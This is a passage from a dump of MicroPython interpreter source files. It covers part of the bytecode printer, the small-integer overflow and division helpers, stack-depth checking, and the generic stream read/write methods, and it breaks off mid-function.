MP_BC_LOAD_CONST_SMALL_INT: {\n            mp_int_t num = 0;\n            if ((ip[0] & 0x40) != 0) {\n                // Number is negative\n                num--;\n            }\n            do {\n                num = (num << 7) | (*ip & 0x7f);\n            } while ((*ip++ & 0x80) != 0);\n            printf(\"LOAD_CONST_SMALL_INT \" INT_FMT, num);\n            break;\n        }\n\n        case MP_BC_LOAD_CONST_STRING:\n            DECODE_QSTR;\n            printf(\"LOAD_CONST_STRING '%s'\", qstr_str(qst));\n            break;\n\n        case MP_BC_LOAD_CONST_OBJ:\n            DECODE_OBJ;\n            printf(\"LOAD_CONST_OBJ %p=\", MP_OBJ_TO_PTR(unum));\n            mp_obj_print_helper(&mp_plat_print, (mp_obj_t)unum, PRINT_REPR);\n            break;\n\n        case MP_BC_LOAD_NULL:\n            printf(\"LOAD_NULL\");\n            break;\n\n        case MP_BC_LOAD_FAST_N:\n            DECODE_UINT;\n            printf(\"LOAD_FAST_N \" UINT_FMT, unum);\n            break;\n\n        case MP_BC_LOAD_DEREF:\n            DECODE_UINT;\n            printf(\"LOAD_DEREF \" UINT_FMT, unum);\n            break;\n\n        case MP_BC_LOAD_NAME:\n            DECODE_QSTR;\n            printf(\"LOAD_NAME %s\", qstr_str(qst));\n            if (MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE) {\n                printf(\" (cache=%u)\", *ip++);\n            }\n            break;\n\n        case MP_BC_LOAD_GLOBAL:\n            DECODE_QSTR;\n            printf(\"LOAD_GLOBAL %s\", qstr_str(qst));\n            if (MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE) {\n                printf(\" (cache=%u)\", *ip++);\n            }\n            break;\n\n        case MP_BC_LOAD_ATTR:\n            DECODE_QSTR;\n            printf(\"LOAD_ATTR %s\", qstr_str(qst));\n            if (MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE) {\n                printf(\" (cache=%u)\", *ip++);\n            }\n            break;\n\n        case MP_BC_LOAD_METHOD:\n            DECODE_QSTR;\n            printf(\"LOAD_METHOD %s\", qstr_str(qst));\n            break;\n\n        case MP_BC_LOAD_SUPER_METHOD:\n            DECODE_QSTR;\n            printf(\"LOAD_SUPER_METHOD %s\", qstr_str(qst));\n            break;\n\n        case MP_BC_LOAD_BUILD_CLASS:\n            printf(\"LOAD_BUILD_CLASS\");\n            break;\n\n        case MP_BC_LOAD_SUBSCR:\n            printf(\"LOAD_SUBSCR\");\n            break;\n\n        case MP_BC_STORE_FAST_N:\n            DECODE_UINT;\n            printf(\"STORE_FAST_N \" UINT_FMT, unum);\n            break;\n\n        case MP_BC_STORE_DEREF:\n            DECODE_UINT;\n            printf(\"STORE_DEREF \" UINT_FMT, unum);\n            break;\n\n        case MP_BC_STORE_NAME:\n            DECODE_QSTR;\n            printf(\"STORE_NAME %s\", qstr_str(qst));\n            break;\n\n        case MP_BC_STORE_GLOBAL:\n            DECODE_QSTR;\n            printf(\"STORE_GLOBAL %s\", qstr_str(qst));\n            break;\n\n        case MP_BC_STORE_ATTR:\n            DECODE_QSTR;\n            printf(\"STORE_ATTR %s\", qstr_str(qst));\n            if (MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE) {\n                printf(\" (cache=%u)\", *ip++);\n            }\n            break;\n\n        case MP_BC_STORE_SUBSCR:\n            printf(\"STORE_SUBSCR\");\n            break;\n\n        case MP_BC_DELETE_FAST:\n            DECODE_UINT;\n            printf(\"DELETE_FAST \" UINT_FMT, unum);\n            break;\n\n        case MP_BC_DELETE_DEREF:\n            DECODE_UINT;\n            printf(\"DELETE_DEREF \" UINT_FMT, unum);\n            break;\n\n        case MP_BC_DELETE_NAME:\n            DECODE_QSTR;\n            printf(\"DELETE_NAME %s\", qstr_str(qst));\n            break;\n\n        case MP_BC_DELETE_GLOBAL:\n            DECODE_QSTR;\n            printf(\"DELETE_GLOBAL %s\", qstr_str(qst));\n            break;\n\n        case MP_BC_DUP_TOP:\n            printf(\"DUP_TOP\");\n            break;\n\n        case MP_BC_DUP_TOP_TWO:\n            printf(\"DUP_TOP_TWO\");\n            break;\n\n        case MP_BC_POP_TOP:\n            printf(\"POP_TOP\");\n            break;\n\n        case MP_BC_ROT_TWO:\n            printf(\"ROT_TWO\");\n            break;\n\n        case MP_BC_ROT_THREE:\n            printf(\"ROT_THREE\");\n            break;\n\n        case MP_BC_JUMP:\n            DECODE_SLABEL;\n            printf(\"JUMP \" UINT_FMT, (mp_uint_t)(ip + unum - mp_showbc_code_start));\n            break;\n\n        case MP_BC_POP_JUMP_IF_TRUE:\n            DECODE_SLABEL;\n            printf(\"POP_JUMP_IF_TRUE \" UINT_FMT, (mp_uint_t)(ip + unum - mp_showbc_code_start));\n            break;\n\n        case MP_BC_POP_JUMP_IF_FALSE:\n            DECODE_SLABEL;\n            printf(\"POP_JUMP_IF_FALSE \" UINT_FMT, (mp_uint_t)(ip + unum - mp_showbc_code_start));\n            break;\n\n        case MP_BC_JUMP_IF_TRUE_OR_POP:\n            DECODE_SLABEL;\n            printf(\"JUMP_IF_TRUE_OR_POP \" UINT_FMT, (mp_uint_t)(ip + unum - mp_showbc_code_start));\n            break;\n\n        case MP_BC_JUMP_IF_FALSE_OR_POP:\n            DECODE_SLABEL;\n            printf(\"JUMP_IF_FALSE_OR_POP \" UINT_FMT, (mp_uint_t)(ip + unum - mp_showbc_code_start));\n            break;\n\n        case MP_BC_SETUP_WITH:\n            DECODE_ULABEL; // loop-like labels are always forward\n            printf(\"SETUP_WITH \" UINT_FMT, (mp_uint_t)(ip + unum - mp_showbc_code_start));\n            break;\n\n        case MP_BC_WITH_CLEANUP:\n            printf(\"WITH_CLEANUP\");\n            break;\n\n        case MP_BC_UNWIND_JUMP:\n            DECODE_SLABEL;\n            printf(\"UNWIND_JUMP \" UINT_FMT \" %d\", (mp_uint_t)(ip + unum - mp_showbc_code_start), *ip);\n            ip += 1;\n            break;\n\n        case MP_BC_SETUP_EXCEPT:\n            DECODE_ULABEL; // except labels are always forward\n            printf(\"SETUP_EXCEPT \" UINT_FMT, (mp_uint_t)(ip + unum - mp_showbc_code_start));\n            break;\n\n        case MP_BC_SETUP_FINALLY:\n            DECODE_ULABEL; // except labels are always forward\n            printf(\"SETUP_FINALLY \" UINT_FMT, (mp_uint_t)(ip + unum - mp_showbc_code_start));\n            break;\n\n        case MP_BC_END_FINALLY:\n            // if TOS is an exception, reraises the exception (3 values on TOS)\n            // if TOS is an integer, does something else\n            // if TOS is None, just pops it and continues\n            // else error\n            printf(\"END_FINALLY\");\n            break;\n\n        case MP_BC_GET_ITER:\n            printf(\"GET_ITER\");\n            break;\n\n        case MP_BC_GET_ITER_STACK:\n            printf(\"GET_ITER_STACK\");\n            break;\n\n        case MP_BC_FOR_ITER:\n            DECODE_ULABEL; // the jump offset if iteration finishes; for labels are always forward\n            printf(\"FOR_ITER \" UINT_FMT, (mp_uint_t)(ip + unum - mp_showbc_code_start));\n            break;\n\n        case MP_BC_POP_BLOCK:\n            // pops block and restores the stack\n            printf(\"POP_BLOCK\");\n            break;\n\n        case MP_BC_POP_EXCEPT:\n            // pops block, checks it's an exception block, and restores the stack, saving the 3 exception values to local threadstate\n            printf(\"POP_EXCEPT\");\n            break;\n\n        case MP_BC_BUILD_TUPLE:\n            DECODE_UINT;\n            printf(\"BUILD_TUPLE \" UINT_FMT, unum);\n            break;\n\n        case MP_BC_BUILD_LIST:\n            DECODE_UINT;\n            printf(\"BUILD_LIST \" UINT_FMT, unum);\n            break;\n\n        case MP_BC_BUILD_MAP:\n            DECODE_UINT;\n            printf(\"BUILD_MAP \" UINT_FMT, unum);\n            break;\n\n        case MP_BC_STORE_MAP:\n            printf(\"STORE_MAP\");\n            break;\n\n        case MP_BC_BUILD_SET:\n            DECODE_UINT;\n            printf(\"BUILD_SET \" UINT_FMT, unum);\n            break;\n\n#if MICROPY_PY_BUILTINS_SLICE\n        case MP_BC_BUILD_SLICE:\n            DECODE_UINT;\n            printf(\"BUILD_SLICE \" UINT_FMT, unum);\n            break;\n#endif\n\n        case MP_BC_STORE_COMP:\n            DECODE_UINT;\n            printf(\"STORE_COMP \" UINT_FMT, unum);\n            break;\n\n        case MP_BC_UNPACK_SEQUENCE:\n            DECODE_UINT;\n            printf(\"UNPACK_SEQUENCE \" UINT_FMT, unum);\n            break;\n\n        case MP_BC_UNPACK_EX:\n            DECODE_UINT;\n            printf(\"UNPACK_EX \" UINT_FMT, unum);\n            break;\n\n        case MP_BC_MAKE_FUNCTION:\n            DECODE_PTR;\n            printf(\"MAKE_FUNCTION %p\", (void*)(uintptr_t)unum);\n            break;\n\n        case MP_BC_MAKE_FUNCTION_DEFARGS:\n            DECODE_PTR;\n            printf(\"MAKE_FUNCTION_DEFARGS %p\", (void*)(uintptr_t)unum);\n            break;\n\n        case MP_BC_MAKE_CLOSURE: {\n            DECODE_PTR;\n            mp_uint_t n_closed_over = *ip++;\n            printf(\"MAKE_CLOSURE %p \" UINT_FMT, (void*)(uintptr_t)unum, n_closed_over);\n            break;\n        }\n\n        case MP_BC_MAKE_CLOSURE_DEFARGS: {\n            DECODE_PTR;\n            mp_uint_t n_closed_over = *ip++;\n            printf(\"MAKE_CLOSURE_DEFARGS %p \" UINT_FMT, (void*)(uintptr_t)unum, n_closed_over);\n            break;\n        }\n\n        case MP_BC_CALL_FUNCTION:\n            DECODE_UINT;\n            printf(\"CALL_FUNCTION n=\" UINT_FMT \" nkw=\" UINT_FMT, unum & 0xff, (unum >> 8) & 0xff);\n            break;\n\n        case MP_BC_CALL_FUNCTION_VAR_KW:\n            DECODE_UINT;\n            printf(\"CALL_FUNCTION_VAR_KW n=\" UINT_FMT \" nkw=\" UINT_FMT, unum & 0xff, (unum >> 8) & 0xff);\n            break;\n\n        case MP_BC_CALL_METHOD:\n            DECODE_UINT;\n            printf(\"CALL_METHOD n=\" UINT_FMT \" nkw=\" UINT_FMT, unum & 0xff, (unum >> 8) & 0xff);\n            break;\n\n        case MP_BC_CALL_METHOD_VAR_KW:\n            DECODE_UINT;\n            printf(\"CALL_METHOD_VAR_KW n=\" UINT_FMT \" nkw=\" UINT_FMT, unum & 0xff, (unum >> 8) & 0xff);\n            break;\n\n        case MP_BC_RETURN_VALUE:\n            printf(\"RETURN_VALUE\");\n            break;\n\n        case MP_BC_RAISE_VARARGS:\n            unum = *ip++;\n            printf(\"RAISE_VARARGS \" UINT_FMT, unum);\n            break;\n\n        case MP_BC_YIELD_VALUE:\n            printf(\"YIELD_VALUE\");\n            break;\n\n        case MP_BC_YIELD_FROM:\n            printf(\"YIELD_FROM\");\n            break;\n\n        case MP_BC_IMPORT_NAME:\n            DECODE_QSTR;\n            printf(\"IMPORT_NAME '%s'\", qstr_str(qst));\n            break;\n\n        case MP_BC_IMPORT_FROM:\n            DECODE_QSTR;\n            printf(\"IMPORT_FROM '%s'\", qstr_str(qst));\n            break;\n\n        case MP_BC_IMPORT_STAR:\n            printf(\"IMPORT_STAR\");\n            break;\n\n        default:\n            if (ip[-1] < MP_BC_LOAD_CONST_SMALL_INT_MULTI + 64) {\n                printf(\"LOAD_CONST_SMALL_INT \" INT_FMT, (mp_int_t)ip[-1] - MP_BC_LOAD_CONST_SMALL_INT_MULTI - 16);\n            } else if (ip[-1] < MP_BC_LOAD_FAST_MULTI + 16) {\n                printf(\"LOAD_FAST \" UINT_FMT, (mp_uint_t)ip[-1] - MP_BC_LOAD_FAST_MULTI);\n            } else if (ip[-1] < MP_BC_STORE_FAST_MULTI + 16) {\n                printf(\"STORE_FAST \" UINT_FMT, (mp_uint_t)ip[-1] - MP_BC_STORE_FAST_MULTI);\n            } else if (ip[-1] < MP_BC_UNARY_OP_MULTI + 7) {\n                printf(\"UNARY_OP \" UINT_FMT, (mp_uint_t)ip[-1] - MP_BC_UNARY_OP_MULTI);\n            } else if (ip[-1] < MP_BC_BINARY_OP_MULTI + 36) {\n                mp_uint_t op = ip[-1] - MP_BC_BINARY_OP_MULTI;\n                printf(\"BINARY_OP \" UINT_FMT \" %s\", op, qstr_str(mp_binary_op_method_name[op]));\n            } else {\n                printf(\"code %p, byte code 0x%02x not implemented\\n\", ip, ip[-1]);\n                assert(0);\n                return ip;\n            }\n            break;\n    }\n\n    return ip;\n}\n\nvoid mp_bytecode_print2(const byte *ip, size_t len, const mp_uint_t *const_table) {\n    mp_showbc_code_start = ip;\n    mp_showbc_const_table = const_table;\n    while (ip < len + mp_showbc_code_start) {\n        printf(\"%02u \", (uint)(ip - mp_showbc_code_start));\n        ip = mp_bytecode_print_str(ip);\n        printf(\"\\n\");\n    }\n}\n\n#endif // MICROPY_DEBUG_PRINTERS\n"
  },
  {
    "path": "micropython/source/py/smallint.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/smallint.h\"\n\nbool mp_small_int_mul_overflow(mp_int_t x, mp_int_t y) {\n    // Check for multiply overflow; see CERT INT32-C\n    if (x > 0) { // x is positive\n        if (y > 0) { // x and y are positive\n            if (x > (MP_SMALL_INT_MAX / y)) {\n                return true;\n            }\n        } else { // x positive, y nonpositive\n            if (y < (MP_SMALL_INT_MIN / x)) {\n                return true;\n            }\n        } // x positive, y nonpositive\n    } else { // x is nonpositive\n        if (y > 0) { // x is nonpositive, y is positive\n            if (x < (MP_SMALL_INT_MIN / y)) {\n                return true;\n            }\n        } else { // x and y are nonpositive\n            if (x != 0 && y < (MP_SMALL_INT_MAX / x)) {\n                return true;\n            }\n        } // End if x and y are nonpositive\n    } // End if x is nonpositive\n    return false;\n}\n\nmp_int_t mp_small_int_modulo(mp_int_t dividend, mp_int_t divisor) {\n    // Python specs require that mod has same sign as second operand\n    dividend %= divisor;\n    if ((dividend < 0 && divisor > 0) || (dividend > 0 && divisor < 0)) {\n        dividend += divisor;\n    }\n    return dividend;\n}\n\nmp_int_t mp_small_int_floor_divide(mp_int_t num, mp_int_t denom) {\n    if (num >= 0) {\n        if (denom < 0) {\n            num += -denom - 1;\n        }\n    } else {\n        if (denom >= 0) {\n            num += -denom + 1;\n        }\n    }\n    return num / denom;\n}\n"
  },
  {
    "path": "micropython/source/py/stackctrl.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2014 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/mpstate.h\"\n#include \"py/nlr.h\"\n#include \"py/obj.h\"\n#include \"py/runtime.h\"\n#include \"py/stackctrl.h\"\n\nvoid mp_stack_ctrl_init(void) {\n    volatile int stack_dummy;\n    MP_STATE_THREAD(stack_top) = (char*)&stack_dummy;\n}\n\nvoid mp_stack_set_top(void *top) {\n    MP_STATE_THREAD(stack_top) = top;\n}\n\nmp_uint_t mp_stack_usage(void) {\n    // Assumes descending stack\n    volatile int stack_dummy;\n    return MP_STATE_THREAD(stack_top) - (char*)&stack_dummy;\n}\n\n#if MICROPY_STACK_CHECK\n\nvoid mp_stack_set_limit(mp_uint_t limit) {\n    MP_STATE_THREAD(stack_limit) = limit;\n}\n\nvoid mp_exc_recursion_depth(void) {\n    nlr_raise(mp_obj_new_exception_arg1(&mp_type_RuntimeError,\n        MP_OBJ_NEW_QSTR(MP_QSTR_maximum_space_recursion_space_depth_space_exceeded)));\n}\n\nvoid mp_stack_check(void) {\n    if (mp_stack_usage() >= MP_STATE_THREAD(stack_limit)) {\n        mp_exc_recursion_depth();\n    }\n}\n\n#endif // MICROPY_STACK_CHECK\n"
  },
  {
    "path": "micropython/source/py/stream.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n * Copyright (c) 2014 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <string.h>\n#include <unistd.h>\n\n#include \"py/nlr.h\"\n#include \"py/objstr.h\"\n#include \"py/stream.h\"\n#include \"py/runtime.h\"\n\n#if MICROPY_STREAMS_NON_BLOCK\n#include <errno.h>\n#if defined(__MINGW32__) && !defined(__MINGW64_VERSION_MAJOR)\n#define EWOULDBLOCK 140\n#endif\n#endif\n\n// This file defines generic Python stream read/write methods which\n// dispatch to the underlying stream interface of an object.\n\n// TODO: should be in mpconfig.h\n#define DEFAULT_BUFFER_SIZE 256\n\nSTATIC mp_obj_t stream_readall(mp_obj_t self_in);\n\n#define STREAM_CONTENT_TYPE(stream) (((stream)->is_text) ? &mp_type_str : &mp_type_bytes)\n\n// Returns error condition in *errcode, if non-zero, return value is number of bytes written\n// before error condition occurred. If *errcode == 0, returns total bytes written (which will\n// be equal to input size).\nmp_uint_t mp_stream_rw(mp_obj_t stream, void *buf_, mp_uint_t size, int *errcode, byte flags) {\n    byte *buf = buf_;\n    mp_obj_base_t* s = (mp_obj_base_t*)MP_OBJ_TO_PTR(stream);\n    typedef mp_uint_t (*io_func_t)(mp_obj_t obj, void *buf, mp_uint_t size, int *errcode);\n    io_func_t io_func;\n    const mp_stream_p_t *stream_p = s->type->protocol;\n    if (flags & MP_STREAM_RW_WRITE) {\n        io_func = (io_func_t)stream_p->write;\n    } else {\n        io_func = stream_p->read;\n    }\n\n    *errcode = 0;\n    mp_uint_t done = 0;\n    while (size > 0) {\n        mp_uint_t out_sz = io_func(stream, buf, size, errcode);\n        // For read, out_sz == 0 means EOF. For write, it's unspecified\n        // what it means, but we don't make any progress, so returning\n        // is still the best option.\n        if (out_sz == 0) {\n            return done;\n        }\n        if (out_sz == MP_STREAM_ERROR) {\n            // If we read something before getting EAGAIN, don't leak it\n            if (mp_is_nonblocking_error(*errcode) && done != 0) {\n                *errcode = 0;\n            }\n            return done;\n        }\n        if (flags & MP_STREAM_RW_ONCE) {\n            return out_sz;\n        }\n\n        buf += out_sz;\n        size -= out_sz;\n        done += out_sz;\n    }\n    return done;\n}\n\nconst mp_stream_p_t *mp_get_stream_raise(mp_obj_t self_in, int flags) {\n    mp_obj_type_t *type = mp_obj_get_type(self_in);\n    const mp_stream_p_t *stream_p = type->protocol;\n    if (stream_p == NULL\n        || ((flags & MP_STREAM_OP_READ) && stream_p->read == NULL)\n        || ((flags & MP_STREAM_OP_WRITE) && stream_p->write == NULL)\n        || ((flags & MP_STREAM_OP_IOCTL) && stream_p->ioctl == NULL)) {\n        // CPython: io.UnsupportedOperation, OSError subclass\n        mp_raise_msg(&mp_type_OSError, \"stream operation not supported\");\n    }\n    return stream_p;\n}\n\nmp_obj_t mp_stream_close(mp_obj_t stream) {\n    // TODO: Still consider using ioctl for close\n    mp_obj_t dest[2];\n    mp_load_method(stream, MP_QSTR_close, dest);\n    return mp_call_method_n_kw(0, 0, dest);\n}\n\nSTATIC mp_obj_t stream_read_generic(size_t n_args, const mp_obj_t *args, byte flags) {\n    const mp_stream_p_t *stream_p = mp_get_stream_raise(args[0], MP_STREAM_OP_READ);\n\n    // What to do if sz < -1?  Python docs don't specify this case.\n    // CPython does a readall, but here we silently let negatives through,\n    // and they will cause a MemoryError.\n    mp_int_t sz;\n    if (n_args == 1 || ((sz = mp_obj_get_int(args[1])) == -1)) {\n        return stream_readall(args[0]);\n    }\n\n    #if MICROPY_PY_BUILTINS_STR_UNICODE\n    if (stream_p->is_text) {\n        // We need to read sz number of unicode characters.  Because we don't have any\n        // buffering, and because the stream API can only read bytes, we must read here\n        // in units of bytes and must never over read.  If we want sz chars, then reading\n        // sz bytes will never over-read, so we follow this approach, in a loop to keep\n        // reading until we have exactly enough chars.  This will be 1 read for text\n        // with ASCII-only chars, and about 2 reads for text with a couple of non-ASCII\n        // chars.  For text with lots of non-ASCII chars, it'll be pretty inefficient\n        // in time and memory.\n\n        vstr_t vstr;\n        vstr_init(&vstr, sz);\n        mp_uint_t more_bytes = sz;\n        mp_uint_t last_buf_offset = 0;\n        while (more_bytes > 0) {\n            char *p = vstr_add_len(&vstr, more_bytes);\n            if (p == NULL) {\n                mp_raise_msg(&mp_type_MemoryError, \"out of memory\");\n            }\n            int error;\n            mp_uint_t out_sz = mp_stream_read_exactly(args[0], p, more_bytes, &error);\n            if (error != 0) {\n                vstr_cut_tail_bytes(&vstr, more_bytes);\n                if (mp_is_nonblocking_error(error)) {\n                    // With non-blocking streams, we read as much as we can.\n                    // If we read nothing, return None, just like read().\n                    // Otherwise, return data read so far.\n                    // TODO what if we have read only half a non-ASCII char?\n                    if (vstr.len == 0) {\n                        vstr_clear(&vstr);\n                        return mp_const_none;\n                    }\n                    break;\n                }\n                mp_raise_OSError(error);\n            }\n\n            if (out_sz < more_bytes) {\n                // Finish reading.\n                // TODO what if we have read only half a non-ASCII char?\n                vstr_cut_tail_bytes(&vstr, more_bytes - out_sz);\n                if (out_sz == 0) {\n                    break;\n                }\n            }\n\n            // count chars from bytes just read\n            for (mp_uint_t off = last_buf_offset;;) {\n                byte b = vstr.buf[off];\n                int n;\n                if (!UTF8_IS_NONASCII(b)) {\n                    // 1-byte ASCII char\n                    n = 1;\n                } else if ((b & 0xe0) == 0xc0) {\n                    // 2-byte char\n                    n = 2;\n                } else if ((b & 0xf0) == 0xe0) {\n                    // 3-byte char\n                    n = 3;\n                } else if ((b & 0xf8) == 0xf0) {\n                    // 4-byte char\n                    n = 4;\n                } else {\n                    // TODO\n                    n = 5;\n                }\n                if (off + n <= vstr.len) {\n                    // got a whole char in n bytes\n                    off += n;\n                    sz -= 1;\n                    last_buf_offset = off;\n                    if (off >= vstr.len) {\n                        more_bytes = sz;\n                        break;\n                    }\n                } else {\n                    // didn't get a whole char, so work out how many extra bytes are needed for\n                    // this partial char, plus bytes for additional chars that we want\n                    more_bytes = (off + n - vstr.len) + (sz - 1);\n                    break;\n                }\n            }\n        }\n\n        return mp_obj_new_str_from_vstr(&mp_type_str, &vstr);\n    }\n    #endif\n\n    vstr_t vstr;\n    vstr_init_len(&vstr, sz);\n    int error;\n    mp_uint_t out_sz = mp_stream_rw(args[0], vstr.buf, sz, &error, flags);\n    if (error != 0) {\n        vstr_clear(&vstr);\n        if (mp_is_nonblocking_error(error)) {\n            // https://docs.python.org/3.4/library/io.html#io.RawIOBase.read\n            // \"If the object is in non-blocking mode and no bytes are available,\n            // None is returned.\"\n            // This is actually very weird, as naive truth check will treat\n            // this as EOF.\n            return mp_const_none;\n        }\n        mp_raise_OSError(error);\n    } else {\n        vstr.len = out_sz;\n        return mp_obj_new_str_from_vstr(STREAM_CONTENT_TYPE(stream_p), &vstr);\n    }\n}\n\nSTATIC mp_obj_t stream_read(size_t n_args, const mp_obj_t *args) {\n    return stream_read_generic(n_args, args, MP_STREAM_RW_READ);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_read_obj, 1, 2, stream_read);\n\nSTATIC mp_obj_t stream_read1(size_t n_args, const mp_obj_t *args) {\n    return stream_read_generic(n_args, args, MP_STREAM_RW_READ | MP_STREAM_RW_ONCE);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_read1_obj, 1, 2, stream_read1);\n\nmp_obj_t mp_stream_write(mp_obj_t self_in, const void *buf, size_t len, byte flags) {\n    mp_get_stream_raise(self_in, MP_STREAM_OP_WRITE);\n\n    int error;\n    mp_uint_t out_sz = mp_stream_rw(self_in, (void*)buf, len, &error, flags);\n    if (error != 0) {\n        if (mp_is_nonblocking_error(error)) {\n            // http://docs.python.org/3/library/io.html#io.RawIOBase.write\n            // \"None is returned if the raw stream is set not to block and\n            // no single byte could be readily written to it.\"\n            return mp_const_none;\n        }\n        mp_raise_OSError(error);\n    } else {\n        return MP_OBJ_NEW_SMALL_INT(out_sz);\n    }\n}\n\n// XXX hack\nvoid mp_stream_write_adaptor(void *self, const char *buf, size_t len) {\n    mp_stream_write(MP_OBJ_FROM_PTR(self), buf, len, MP_STREAM_RW_WRITE);\n}\n\nSTATIC mp_obj_t stream_write_method(size_t n_args, const mp_obj_t *args) {\n    mp_buffer_info_t bufinfo;\n    mp_get_buffer_raise(args[1], &bufinfo, MP_BUFFER_READ);\n    size_t max_len = (size_t)-1;\n    size_t off = 0;\n    if (n_args == 3) {\n        max_len = mp_obj_get_int_truncated(args[2]);\n    } else if (n_args == 4) {\n        off = mp_obj_get_int_truncated(args[2]);\n        max_len = mp_obj_get_int_truncated(args[3]);\n        if (off > bufinfo.len) {\n            off = bufinfo.len;\n        }\n    }\n    bufinfo.len -= off;\n    return mp_stream_write(args[0], (byte*)bufinfo.buf + off, MIN(bufinfo.len, max_len), MP_STREAM_RW_WRITE);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_write_obj, 2, 4, stream_write_method);\n\nSTATIC mp_obj_t stream_write1_method(mp_obj_t self_in, mp_obj_t arg) {\n    mp_buffer_info_t bufinfo;\n    mp_get_buffer_raise(arg, &bufinfo, MP_BUFFER_READ);\n    return mp_stream_write(self_in, bufinfo.buf, bufinfo.len, MP_STREAM_RW_WRITE | MP_STREAM_RW_ONCE);\n}\nMP_DEFINE_CONST_FUN_OBJ_2(mp_stream_write1_obj, stream_write1_method);\n\nSTATIC mp_obj_t stream_readinto(size_t n_args, const mp_obj_t *args) {\n    mp_get_stream_raise(args[0], MP_STREAM_OP_READ);\n    mp_buffer_info_t bufinfo;\n    mp_get_buffer_raise(args[1], &bufinfo, MP_BUFFER_WRITE);\n\n    // CPython extension: if 2nd arg is provided, that's max len to read,\n    // instead of full buffer. Similar to\n    // https://docs.python.org/3/library/socket.html#socket.socket.recv_into\n    mp_uint_t len = bufinfo.len;\n    if (n_args > 2) {\n        len = mp_obj_get_int(args[2]);\n        if (len > bufinfo.len) {\n            len = bufinfo.len;\n        }\n    }\n\n    int error;\n    mp_uint_t out_sz = mp_stream_read_exactly(args[0], bufinfo.buf, len, &error);\n    if (error != 0) {\n        if (mp_is_nonblocking_error(error)) {\n            return mp_const_none;\n        }\n        mp_raise_OSError(error);\n    } else {\n        return MP_OBJ_NEW_SMALL_INT(out_sz);\n    }\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_readinto_obj, 2, 3, stream_readinto);\n\nSTATIC mp_obj_t stream_readall(mp_obj_t self_in) {\n    const mp_stream_p_t *stream_p = mp_get_stream_raise(self_in, MP_STREAM_OP_READ);\n\n    mp_uint_t total_size = 0;\n    vstr_t vstr;\n    vstr_init(&vstr, DEFAULT_BUFFER_SIZE);\n    char *p = vstr.buf;\n    mp_uint_t current_read = DEFAULT_BUFFER_SIZE;\n    while (true) {\n        int error;\n        mp_uint_t out_sz = stream_p->read(self_in, p, current_read, &error);\n        if (out_sz == MP_STREAM_ERROR) {\n            if 